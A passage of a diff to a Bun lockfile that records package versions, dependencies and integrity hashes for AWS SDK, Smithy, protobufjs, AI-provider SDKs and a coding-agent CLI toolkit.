"^5.3.12", "@smithy/hash-node": "^4.2.10", "@smithy/invalid-dependency": "^4.2.10", "@smithy/middleware-content-length": "^4.2.10", "@smithy/middleware-endpoint": "^4.4.21", "@smithy/middleware-retry": "^4.4.38", "@smithy/middleware-serde": "^4.2.11", "@smithy/middleware-stack": "^4.2.10", "@smithy/node-config-provider": "^4.3.10", "@smithy/node-http-handler": "^4.4.13", "@smithy/protocol-http": "^5.3.10", "@smithy/smithy-client": "^4.12.1", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.10", "@smithy/util-base64": "^4.3.1", "@smithy/util-body-length-browser": "^4.2.1", "@smithy/util-body-length-node": "^4.2.2", "@smithy/util-defaults-mode-browser": "^4.3.37", "@smithy/util-defaults-mode-node": "^4.2.40", "@smithy/util-endpoints": "^3.3.1", "@smithy/util-middleware": "^4.2.10", "@smithy/util-retry": "^4.2.10", "@smithy/util-stream": "^4.5.16", "@smithy/util-utf8": "^4.2.1", "tslib": "^2.6.2" } }, "sha512-xUmzgTvTeQFVxBqla8U4nXpZNXLcZ0xszfZ4yxdTUNyChQQb7JLaH4E8pAbl7ulg0RoJ4ChNWtOqMJC/N3+qcQ=="], + + "@aws-sdk/core": ["@aws-sdk/core@3.973.17", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@aws-sdk/xml-builder": "^3.972.9", "@smithy/core": "^3.23.7", "@smithy/node-config-provider": "^4.3.10", "@smithy/property-provider": "^4.2.10", "@smithy/protocol-http": "^5.3.10", "@smithy/signature-v4": "^5.3.10", "@smithy/smithy-client": "^4.12.1", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.1", "@smithy/util-middleware": "^4.2.10", "@smithy/util-utf8": "^4.2.1", "tslib": "^2.6.2" } }, "sha512-VtgGP0TjbCeyp6DQpiBqJKbemTSIaN2bZc3UbeTDCani3lBCyxn75ouJYD6koSSp0bh7rKLEbUpiFsNCI7tr0w=="], + + "@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.972.15", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/types": "^3.973.4", "@smithy/property-provider": "^4.2.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-RhHQG1lhkWHL4tK1C/KDjaOeis+9U0tAMnWDiwiSVQZMC7CsST9Xin+sK89XywJ5g/tyABtb7TvFePJ4Te5XSQ=="], + + "@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/types": "^3.973.4", "@smithy/fetch-http-handler": "^5.3.12", "@smithy/node-http-handler": "^4.4.13", "@smithy/property-provider": "^4.2.10", "@smithy/protocol-http": "^5.3.10", "@smithy/smithy-client": "^4.12.1", "@smithy/types": "^4.13.0", "@smithy/util-stream": "^4.5.16", "tslib": "^2.6.2" } }, "sha512-b/bDL76p51+yQ+0O9ZDH5nw/ioE0sRYkjwjOwFWAWZXo6it2kQZUOXhVpjohx3ldKyUxt/SwAivjUu1Nr/PWlQ=="], + + "@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.972.15", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/credential-provider-env": "^3.972.15", "@aws-sdk/credential-provider-http": "^3.972.17", "@aws-sdk/credential-provider-login": "^3.972.15", "@aws-sdk/credential-provider-process": "^3.972.15", "@aws-sdk/credential-provider-sso": "^3.972.15", "@aws-sdk/credential-provider-web-identity": "^3.972.15", "@aws-sdk/nested-clients": "^3.996.5", "@aws-sdk/types": "^3.973.4", "@smithy/credential-provider-imds": "^4.2.10", "@smithy/property-provider": "^4.2.10", "@smithy/shared-ini-file-loader": "^4.4.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-qWnM+wB8MmU2kKY7f4KowKjOjkwRosaFxrtseEEIefwoXn1SjN+CbHzXBVdTAQxxkbBiqhPgJ/WHiPtES4grRQ=="], + + "@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.972.15", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/nested-clients": "^3.996.5", "@aws-sdk/types": "^3.973.4", "@smithy/property-provider": "^4.2.10", "@smithy/protocol-http": "^5.3.10", "@smithy/shared-ini-file-loader": "^4.4.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-x92FJy34/95wgu+qOGD8SHcgh1hZ9Qx2uFtQEGn4m9Ljou8ICIv3Ybq5yxdB7A60S8ZGCQB0mIopmjJwiLbh5g=="], + + "@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.972.16", "", { "dependencies": { "@aws-sdk/credential-provider-env": "^3.972.15", "@aws-sdk/credential-provider-http": "^3.972.17", "@aws-sdk/credential-provider-ini": "^3.972.15", "@aws-sdk/credential-provider-process": "^3.972.15", "@aws-sdk/credential-provider-sso": "^3.972.15", "@aws-sdk/credential-provider-web-identity": "^3.972.15", "@aws-sdk/types": "^3.973.4", "@smithy/credential-provider-imds": "^4.2.10", "@smithy/property-provider": "^4.2.10", "@smithy/shared-ini-file-loader": "^4.4.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-7mlt14Ee4rPFAFUVgpWE7+0CBhetJJyzVFqfIsMp7sgyOSm9Y/+qHZOWAuK5I4JNc+Y5PltvJ9kssTzRo92iXQ=="], + + "@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.972.15", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/types": "^3.973.4", "@smithy/property-provider": "^4.2.10", "@smithy/shared-ini-file-loader": "^4.4.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-PrH3iTeD18y/8uJvQD2s/T87BTGhsdS/1KZU7ReWHXsplBwvCqi7AbnnNbML1pFlQwRWCE2RdSZFWDVId3CvkA=="], + + "@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.972.15", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/nested-clients": "^3.996.5", "@aws-sdk/token-providers": "3.1002.0", "@aws-sdk/types": "^3.973.4", "@smithy/property-provider": "^4.2.10", "@smithy/shared-ini-file-loader": "^4.4.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-M/+LBHTPKZxxXckM6m4dnJeR+jlm9NynH9b2YDswN4Zj2St05SK/crdL3Wy3WfJTZootnnhm3oTh87Usl7PS7w=="], + + "@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.972.15", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/nested-clients": "^3.996.5", "@aws-sdk/types": "^3.973.4", "@smithy/property-provider": "^4.2.10", "@smithy/shared-ini-file-loader": "^4.4.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-QTH6k93v+UOfFam/ado8zc71tH+enTVyuvLy9uEWXX1x894dN5ovtf/MdBDgFwq3g6c9mbtgVJ4B+yBqDtXvdA=="], + + "@aws-sdk/eventstream-handler-node": ["@aws-sdk/eventstream-handler-node@3.972.9", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@smithy/eventstream-codec": "^4.2.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-mKPiiVssgFDWkAXdEDh8+wpr2pFSX/fBn2onXXnrfIAYbdZhYb4WilKbZ3SJMUnQi+Y48jZMam5J0RrgARluaA=="], + + "@aws-sdk/middleware-eventstream": ["@aws-sdk/middleware-eventstream@3.972.6", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@smithy/protocol-http": "^5.3.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-mB2+3G/oxRC+y9WRk0KCdradE2rSfxxJpcOSmAm+vDh3ex3WQHVLZ1catNIe1j5NQ+3FLBsNMRPVGkZ43PRpjw=="], + + "@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.972.6", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@smithy/protocol-http": "^5.3.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-5XHwjPH1lHB+1q4bfC7T8Z5zZrZXfaLcjSMwTd1HPSPrCmPFMbg3UQ5vgNWcVj0xoX4HWqTGkSf2byrjlnRg5w=="], + + "@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.972.6", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-iFnaMFMQdljAPrvsCVKYltPt2j40LQqukAbXvW7v0aL5I+1GO7bZ/W8m12WxW3gwyK5p5u1WlHg8TSAizC5cZw=="], + + "@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.972.6", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-dY4v3of5EEMvik6+UDwQ96KfUFDk8m1oZDdkSc5lwi4o7rFrjnv0A+yTV+gu230iybQZnKgDLg/rt2P3H+Vscw=="], + + "@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/types": "^3.973.4", "@aws-sdk/util-endpoints": "^3.996.3", "@smithy/core": "^3.23.7", "@smithy/protocol-http": "^5.3.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-HHArkgWzomuwufXwheQqkddu763PWCpoNTq1dGjqXzJT/lojX3VlOqjNSR2Xvb6/T9ISfwYcMOcbFgUp4EWxXA=="], + + "@aws-sdk/middleware-websocket": ["@aws-sdk/middleware-websocket@3.972.11", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@aws-sdk/util-format-url": "^3.972.6", "@smithy/eventstream-codec": "^4.2.10", "@smithy/eventstream-serde-browser": "^4.2.10", "@smithy/fetch-http-handler": "^5.3.12", "@smithy/protocol-http": "^5.3.10", "@smithy/signature-v4": "^5.3.10", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.1", "@smithy/util-hex-encoding": "^4.2.1", "@smithy/util-utf8": "^4.2.1", "tslib": "^2.6.2" } }, "sha512-cWf+8iUUnitgFuUu/ryK2uVfx7f5ezdhGwsjLLEEC1Nk716Ld2Hw4LA8iipyVcQI3EarvK6ExY2dSBET/0PYng=="], + + "@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.5", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.17", "@aws-sdk/middleware-host-header": "^3.972.6", "@aws-sdk/middleware-logger": "^3.972.6", "@aws-sdk/middleware-recursion-detection": "^3.972.6", "@aws-sdk/middleware-user-agent": "^3.972.17", "@aws-sdk/region-config-resolver": "^3.972.6", "@aws-sdk/types": "^3.973.4", "@aws-sdk/util-endpoints": "^3.996.3", "@aws-sdk/util-user-agent-browser": "^3.972.6", "@aws-sdk/util-user-agent-node": "^3.973.2", "@smithy/config-resolver": "^4.4.9", "@smithy/core": "^3.23.7", "@smithy/fetch-http-handler": "^5.3.12", "@smithy/hash-node": "^4.2.10", "@smithy/invalid-dependency": "^4.2.10", "@smithy/middleware-content-length": "^4.2.10", "@smithy/middleware-endpoint": "^4.4.21", "@smithy/middleware-retry": "^4.4.38", "@smithy/middleware-serde": "^4.2.11", "@smithy/middleware-stack": "^4.2.10", "@smithy/node-config-provider": "^4.3.10", "@smithy/node-http-handler": "^4.4.13", "@smithy/protocol-http": "^5.3.10", "@smithy/smithy-client": "^4.12.1", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.10", "@smithy/util-base64": "^4.3.1", "@smithy/util-body-length-browser": "^4.2.1", "@smithy/util-body-length-node": "^4.2.2", "@smithy/util-defaults-mode-browser": "^4.3.37", "@smithy/util-defaults-mode-node": "^4.2.40", "@smithy/util-endpoints": "^3.3.1", "@smithy/util-middleware": "^4.2.10", "@smithy/util-retry": "^4.2.10", "@smithy/util-utf8": "^4.2.1", "tslib": "^2.6.2" } }, "sha512-zn0WApcULn7Rtl6T+KP2CQTZo/7wOa2YV1yHQnbijTQoi4YXQHM8s21JcJzt33/mqPh8AdvWX1f+83KvKuxlZw=="], + + "@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.972.6", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@smithy/config-resolver": "^4.4.9", "@smithy/node-config-provider": "^4.3.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Aa5PusHLXAqLTX1UKDvI3pHQJtIsF7Q+3turCHqfz/1F61/zDMWfbTC8evjhrrYVAtz9Vsv3SJ/waSUeu7B6gw=="], + + "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.1002.0", "", { "dependencies": { "@aws-sdk/core": "^3.973.17", "@aws-sdk/nested-clients": "^3.996.5", "@aws-sdk/types": "^3.973.4", "@smithy/property-provider": "^4.2.10", "@smithy/shared-ini-file-loader": "^4.4.5", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-x972uKOydFn4Rb0PZJzLdNW59rH0KWC78Q2JbQzZpGlGt0DxjYdDRwBG6F42B1MyaEwHGqO/tkGc4r3/PRFfMw=="], + + "@aws-sdk/types": ["@aws-sdk/types@3.973.4", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-RW60aH26Bsc016Y9B98hC0Plx6fK5P2v/iQYwMzrSjiDh1qRMUCP6KrXHYEHe3uFvKiOC93Z9zk4BJsUi6Tj1Q=="], + + "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.996.3", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.10", "@smithy/util-endpoints": "^3.3.1", "tslib": "^2.6.2" } }, "sha512-yWIQSNiCjykLL+ezN5A+DfBb1gfXTytBxm57e64lYmwxDHNmInYHRJYYRAGWG1o77vKEiWaw4ui28e3yb1k5aQ=="], + + "@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.972.6", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@smithy/querystring-builder": "^4.2.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-0YNVNgFyziCejXJx0rzxPiD2rkxTWco4c9wiMF6n37Tb9aQvIF8+t7GyEyIFCwQHZ0VMQaAl+nCZHOYz5I5EKw=="], + + "@aws-sdk/util-locate-window": ["@aws-sdk/util-locate-window@3.965.4", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-H1onv5SkgPBK2P6JR2MjGgbOnttoNzSPIRoeZTNPZYyaplwGg50zS3amXvXqF0/qfXpWEC9rLWU564QTB9bSog=="], + + "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.972.6", "", { "dependencies": { "@aws-sdk/types": "^3.973.4", "@smithy/types": "^4.13.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-Fwr/llD6GOrFgQnKaI2glhohdGuBDfHfora6iG9qsBBBR8xv1SdCSwbtf5CWlUdCw5X7g76G/9Hf0Inh0EmoxA=="], + + "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.973.2", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "^3.972.17", "@aws-sdk/types": "^3.973.4", "@smithy/node-config-provider": "^4.3.10", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-lpaIuekdkpw7VRiik0IZmd6TyvEUcuLgKZ5fKRGpCA3I4PjrD/XH15sSwW+OptxQjNU4DEzSxag70spC9SluvA=="], + + "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.9", "", { "dependencies": { "@smithy/types": "^4.13.0", "fast-xml-parser": "5.4.1", "tslib": "^2.6.2" } }, "sha512-ItnlMgSqkPrUfJs7EsvU/01zw5UeIb2tNPhD09LBLHbg+g+HDiKibSLwpkuz/ZIlz4F2IMn+5XgE4AK/pfPuog=="], + + "@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.2.3", "", {}, "sha512-oLvsaPMTBejkkmHhjf09xTgk71mOqyr/409NKhRIL08If7AhVfUsJhVsx386uJaqNd42v9kWamQ9lFbkoC2dYw=="], + + "@babel/runtime": ["@babel/runtime@7.28.6", "", {}, "sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA=="], + + "@borewit/text-codec": ["@borewit/text-codec@0.2.1", "", {}, "sha512-k7vvKPbf7J2fZ5klGRD9AeKfUvojuZIQ3BT5u7Jfv+puwXkUBUT5PVyMDfJZpy30CBDXGMgw7fguK/lpOMBvgw=="], + + "@google/genai": ["@google/genai@1.44.0", "", { "dependencies": { "google-auth-library": "^10.3.0", "p-retry": "^4.6.2", "protobufjs": "^7.5.4", "ws": "^8.18.0" }, "peerDependencies": { "@modelcontextprotocol/sdk": "^1.25.2" }, "optionalPeers": ["@modelcontextprotocol/sdk"] }, "sha512-kRt9ZtuXmz+tLlcNntN/VV4LRdpl6ZOu5B1KbfNgfR65db15O6sUQcwnwLka8sT/V6qysD93fWrgJHF2L7dA9A=="], + + "@isaacs/cliui": ["@isaacs/cliui@8.0.2", "", { "dependencies": { "string-width": "^5.1.2", "string-width-cjs": "npm:string-width@^4.2.0", "strip-ansi": "^7.0.1", "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", "wrap-ansi": "^8.1.0", "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" } }, "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA=="], + + "@mariozechner/clipboard": ["@mariozechner/clipboard@0.3.2", "", { "optionalDependencies": { "@mariozechner/clipboard-darwin-arm64": "0.3.2", "@mariozechner/clipboard-darwin-universal": "0.3.2", "@mariozechner/clipboard-darwin-x64": "0.3.2", "@mariozechner/clipboard-linux-arm64-gnu": "0.3.2", "@mariozechner/clipboard-linux-arm64-musl": "0.3.2", "@mariozechner/clipboard-linux-riscv64-gnu": "0.3.2", "@mariozechner/clipboard-linux-x64-gnu": "0.3.2", "@mariozechner/clipboard-linux-x64-musl": "0.3.2", "@mariozechner/clipboard-win32-arm64-msvc": "0.3.2", "@mariozechner/clipboard-win32-x64-msvc": "0.3.2" } }, "sha512-IHQpksNjo7EAtGuHFU+tbWDp5LarH3HU/8WiB9O70ZEoBPHOg0/6afwSLK0QyNMMmx4Bpi/zl6+DcBXe95nWYA=="], + + "@mariozechner/clipboard-darwin-arm64": ["@mariozechner/clipboard-darwin-arm64@0.3.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-uBf6K7Je1ihsgvmWxA8UCGCeI+nbRVRXoarZdLjl6slz94Zs1tNKFZqx7aCI5O1i3e0B6ja82zZ06BWrl0MCVw=="], + + "@mariozechner/clipboard-darwin-universal": ["@mariozechner/clipboard-darwin-universal@0.3.2", "", { "os": "darwin" }, "sha512-mxSheKTW2U9LsBdXy0SdmdCAE5HqNS9QUmpNHLnfJ+SsbFKALjEZc5oRrVMXxGQSirDvYf5bjmRyT0QYYonnlg=="], + + "@mariozechner/clipboard-darwin-x64": ["@mariozechner/clipboard-darwin-x64@0.3.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-U1BcVEoidvwIp95+HJswSW+xr28EQiHR7rZjH6pn8Sja5yO4Yoe3yCN0Zm8Lo72BbSOK/fTSq0je7CJpaPCspg=="], + + "@mariozechner/clipboard-linux-arm64-gnu": ["@mariozechner/clipboard-linux-arm64-gnu@0.3.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-BsinwG3yWTIjdgNCxsFlip7LkfwPk+ruw/aFCXHUg/fb5XC/Ksp+YMQ7u0LUtiKzIv/7LMXgZInJQH6gxbAaqQ=="], + + "@mariozechner/clipboard-linux-arm64-musl": ["@mariozechner/clipboard-linux-arm64-musl@0.3.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-0/Gi5Xq2V6goXBop19ePoHvXsmJD9SzFlO3S+d6+T2b+BlPcpOu3Oa0wTjl+cZrLAAEzA86aPNBI+VVAFDFPKw=="], + + "@mariozechner/clipboard-linux-riscv64-gnu": ["@mariozechner/clipboard-linux-riscv64-gnu@0.3.2", "", { "os": "linux", "cpu": "none" }, "sha512-2AFFiXB24qf0zOZsxI1GJGb9wQGlOJyN6UwoXqmKS3dpQi/l6ix30IzDDA4c4ZcCcx4D+9HLYXhC1w7Sov8pXA=="], + + "@mariozechner/clipboard-linux-x64-gnu": ["@mariozechner/clipboard-linux-x64-gnu@0.3.2", "", { "os": "linux", "cpu": "x64" }, "sha512-v6fVnsn7WMGg73Dab8QMwyFce7tzGfgEixKgzLP8f1GJqkJZi5zO4k4FOHzSgUufgLil63gnxvMpjWkgfeQN7A=="], + + "@mariozechner/clipboard-linux-x64-musl": ["@mariozechner/clipboard-linux-x64-musl@0.3.2", "", { "os": "linux", "cpu": "x64" }, "sha512-xVUtnoMQ8v2JVyfJLKKXACA6avdnchdbBkTsZs8BgJQo29qwCp5NIHAUO8gbJ40iaEGToW5RlmVk2M9V0HsHEw=="], + + "@mariozechner/clipboard-win32-arm64-msvc": ["@mariozechner/clipboard-win32-arm64-msvc@0.3.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-AEgg95TNi8TGgak2wSXZkXKCvAUTjWoU1Pqb0ON7JHrX78p616XUFNTJohtIon3e0w6k0pYPZeCuqRCza/Tqeg=="], + + "@mariozechner/clipboard-win32-x64-msvc": ["@mariozechner/clipboard-win32-x64-msvc@0.3.2", "", { "os": "win32", "cpu": "x64" }, "sha512-tGRuYpZwDOD7HBrCpyRuhGnHHSCknELvqwKKUG4JSfSB7JIU7LKRh6zx6fMUOQd8uISK35TjFg5UcNih+vJhFA=="], + + "@mariozechner/jiti": ["@mariozechner/jiti@2.6.5", "", { "dependencies": { "std-env": "^3.10.0", "yoctocolors": "^2.1.2" }, "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-faGUlTcXka5l7rv0lP3K3vGW/ejRuOS24RR2aSFWREUQqzjgdsuWNo/IiPqL3kWRGt6Ahl2+qcDAwtdeWeuGUw=="], + + "@mariozechner/pi-agent-core": ["@mariozechner/pi-agent-core@0.56.1", "", { "dependencies": { "@mariozechner/pi-ai": "^0.56.1" } }, "sha512-MtnoUGqDs8o3yAaUnHyYEpF7NEPFOWpJB7BSwx7eAZ5ntDqrOj08M6DH4tpJaDCZSQ93DYfvuyzH2oQTtmc4Uw=="], + + "@mariozechner/pi-ai": ["@mariozechner/pi-ai@0.56.1", "", { "dependencies": { "@anthropic-ai/sdk": "^0.73.0", "@aws-sdk/client-bedrock-runtime": "^3.983.0", "@google/genai": "^1.40.0", "@mistralai/mistralai": "1.10.0", "@sinclair/typebox": "^0.34.41", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "chalk": "^5.6.2", "openai": "6.10.0", "partial-json": "^0.1.7", "proxy-agent": "^6.5.0", "undici": "^7.19.1", "zod-to-json-schema": "^3.24.6" }, "bin": { "pi-ai": "dist/cli.js" } }, "sha512-gXb2ktz/JB5o0SmuV4xIsIeLmcdvgolfGgUmjZ+PaCtrkw2V2UwfXI/qau9hmsUhEPLjJhTkx6DypNML81ShbA=="], + + "@mariozechner/pi-coding-agent": ["@mariozechner/pi-coding-agent@0.56.1", "", { "dependencies": { "@mariozechner/jiti": "^2.6.2", "@mariozechner/pi-agent-core": "^0.56.1", "@mariozechner/pi-ai": "^0.56.1", "@mariozechner/pi-tui": "^0.56.1", "@silvia-odwyer/photon-node": "^0.3.4", "chalk": "^5.5.0", "cli-highlight": "^2.1.11", "diff": "^8.0.2", "extract-zip": "^2.0.1", "file-type": "^21.1.1", "glob": "^13.0.1", "hosted-git-info": "^9.0.2", "ignore": "^7.0.5", "marked": "^15.0.12", "minimatch": "^10.2.3", "proper-lockfile": "^4.1.2", "strip-ansi": "^7.1.0", "undici": "^7.19.1", "yaml": "^2.8.2" }, "optionalDependencies": { "@mariozechner/clipboard": "^0.3.2" }, "bin": { "pi": "dist/cli.js" } }, "sha512-aeL5hp/1B3713w+SiwZjoXhqJFWQdEAv1z40yQuKtbkjbiFotbQhUe7URL3oYhmP0NoO+EH2Lk2kOo99uj9P7w=="], + + "@mariozechner/pi-tui": ["@mariozechner/pi-tui@0.56.1", "", { "dependencies": { "@types/mime-types": "^2.1.4", "chalk": "^5.5.0", "get-east-asian-width": "^1.3.0", "marked": "^15.0.12", "mime-types": "^3.0.1" }, "optionalDependencies": { "koffi": "^2.9.0" } }, "sha512-gKle9krohDJ+KuAPNGMg5jFhagzWqzExnLAy4i5bDzTQ5etrxjlu9M+vHAi9juMg0vHnsmZlUKiQ2o5OUxF7Kg=="], + + "@mistralai/mistralai": ["@mistralai/mistralai@1.10.0", "", { "dependencies": { "zod": "^3.20.0", "zod-to-json-schema": "^3.24.1" } }, "sha512-tdIgWs4Le8vpvPiUEWne6tK0qbVc+jMenujnvTqOjogrJUsCSQhus0tHTU1avDDh5//Rq2dFgP9mWRAdIEoBqg=="], + + "@pkgjs/parseargs": ["@pkgjs/parseargs@0.11.0", "", {}, "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg=="], + + "@playwright/cli": ["@playwright/cli@0.1.1", "", { "dependencies": { "minimist": "^1.2.5", "playwright": "1.59.0-alpha-1771104257000" }, "bin": { "playwright-cli": "playwright-cli.js" } }, "sha512-9k11ZfDwAfMVDDIuEVW1Wvs8SoDNXIY1dNQ+9C9/SS8ZmElkcxesu5eoL7vNa96ntibUGaq1TM2qQoqvdl/I9g=="], + + "@protobufjs/aspromise": ["@protobufjs/aspromise@1.1.2", "", {}, "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ=="], + + "@protobufjs/base64": ["@protobufjs/base64@1.1.2", "", {}, "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg=="], + + "@protobufjs/codegen": ["@protobufjs/codegen@2.0.4", "", {}, "sha512-YyFaikqM5sH0ziFZCN3xDC7zeGaB/d0IUb9CATugHWbd1FRFwWwt4ld4OYMPWu5a3Xe01mGAULCdqhMlPl29Jg=="], + + "@protobufjs/eventemitter": ["@protobufjs/eventemitter@1.1.0", "", {}, "sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q=="], + + "@protobufjs/fetch": ["@protobufjs/fetch@1.1.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.1", "@protobufjs/inquire": "^1.1.0" } }, "sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ=="], + + "@protobufjs/float": ["@protobufjs/float@1.0.2", "", {}, "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ=="], + + "@protobufjs/inquire": ["@protobufjs/inquire@1.1.0", "", {}, "sha512-kdSefcPdruJiFMVSbn801t4vFK7KB/5gd2fYvrxhuJYg8ILrmn9SKSX2tZdV6V+ksulWqS7aXjBcRXl3wHoD9Q=="], + + "@protobufjs/path": ["@protobufjs/path@1.1.2", "", {}, "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA=="], + + "@protobufjs/pool": ["@protobufjs/pool@1.1.0", "", {}, "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw=="], + + "@protobufjs/utf8": ["@protobufjs/utf8@1.1.0", "", {}, "sha512-Vvn3zZrhQZkkBE8LSuW3em98c0FwgO4nxzv6OdSxPKJIEKY2bGbHn+mhGIPerzI4twdxaP8/0+06HBpwf345Lw=="], + + "@silvia-odwyer/photon-node": ["@silvia-odwyer/photon-node@0.3.4", "", {}, "sha512-bnly4BKB3KDTFxrUIcgCLbaeVVS8lrAkri1pEzskpmxu9MdfGQTy8b8EgcD83ywD3RPMsIulY8xJH5Awa+t9fA=="], + + "@sinclair/typebox": ["@sinclair/typebox@0.34.48", "", {}, "sha512-kKJTNuK3AQOrgjjotVxMrCn1sUJwM76wMszfq1kdU4uYVJjvEWuFQ6HgvLt4Xz3fSmZlTOxJ/Ie13KnIcWQXFA=="], + + "@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="], + + "@smithy/config-resolver": ["@smithy/config-resolver@4.4.10", "", { "dependencies": { 